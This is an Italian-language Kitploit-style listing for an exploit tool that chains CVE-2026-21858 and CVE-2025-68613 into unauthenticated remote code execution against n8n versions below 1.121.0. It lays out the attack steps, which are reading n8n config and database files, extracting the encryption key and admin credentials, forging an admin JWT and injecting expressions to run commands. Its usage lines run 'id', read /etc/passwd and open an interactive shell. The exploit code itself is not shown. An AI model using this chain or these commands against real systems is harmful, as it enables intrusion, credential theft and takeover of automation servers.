CVE-2026-21858 — Catena di exploit per l'esecuzione remota di codice non autenticata in n8n, che combina confusione sul content-type e iniezione di espressioni per leggere file, forgiare JWT ed eseguire comandi. | Kitploit

CVE-2026-21858 + CVE-2025-68613 - Exploit RCE per n8n

Catena RCE non autenticata per n8n < 1.121.0 (CVSS 10.0)

Catena di attacco

CVE-2026-21858 - Confusione del Content-Type → lettura di /home/node/.n8n/config e database.sqlite
Estrazione della chiave di crittografia e delle credenziali admin dai file
Forgiatura del token JWT admin
CVE-2025-68613 - Iniezione di espressioni → esecuzione di comandi tramite child_process

Utilizzo

# Esegui un comando
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Leggi un file
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Shell interattiva
python3 exploit.py http://target:5678 /form/test

CVE-2026-21858

Più Popolari

Riferimenti